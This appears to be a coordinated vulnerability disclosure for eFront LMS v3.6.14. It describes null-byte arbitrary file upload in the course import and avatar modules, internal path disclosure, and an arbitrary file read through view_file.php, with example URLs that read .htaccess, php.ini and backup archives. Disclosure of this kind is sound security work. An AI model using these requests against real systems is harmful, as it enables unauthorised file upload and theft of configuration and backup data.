# Coordinated Disclosure
eFront LMS v3.6.14 - build 18012 is vulnerable to :
1. Arbitrary File Upload & Internal Path Disclosure
2. Access to restricted folder ( Backup )
1. Arbitrary File Upload:
===========================
a. Import Course:
------------------
URL : http://127.0.0.1/efront/www/professor.php?ctg=lessons&course=2&op=import_course
In "Import Course" module attacker can upload any arbitrary file by appending "%00" Example test%00 , test.php%00, test.txt%00 , and file will be uploaded into :
"C:\xampp\htdocs\[ efront ]\upload\professor\temp"
Once file is uploaded it throws error which discloses Web Applications Internal Path, which provides fair idea of Internal Directory Structure.
Error:
------
"Problem importing file: File does not exist: C:/xampp/htdocs/efront/upload/professor/temp/data.dat (102)"
b. Personal Info (Account)
---------------------------
URL: http://127.0.0.1/efront/www/professor.php?ctg=personal&user=professor&op=profile
Attacker can upload arbitrary files by appending "%00" at the end of filename , Ex. test.php%00, file%00 , and file will be uploaded to "C:\xampp\htdocs\[ efront ]\upload\professor\avatars" in My case.
2. Read Arbitary Files:
-------------------------
Uploaded Avatars can be viewed using below link:
http://127.0.0.1/efront/www/view_file.php?file=C%3A/xampp/htdocs/efront/upload/professor/avatars/test.php%2500
Due to improper sanitization of "file" parameter attacker can view arbitary files especially from "backup" folder which in our case was readable by professor :
[-] Accessing Arbitary Files:
------------------------------
http://127.0.0.1/efront/www/view_file.php?file=C%3A/xampp/htdocs/[ efront ]/backups/.htaccess
http://127.0.0.1/efront/www/view_file.php?file=C%3A/xampp/htdocs/[ efront ]/upload/professor/temp/eFront.zip
http://127.0.0.1/efront/www/view_file.php?file=C%3A/xampp/htdocs/[ efront ]/www/php.ini
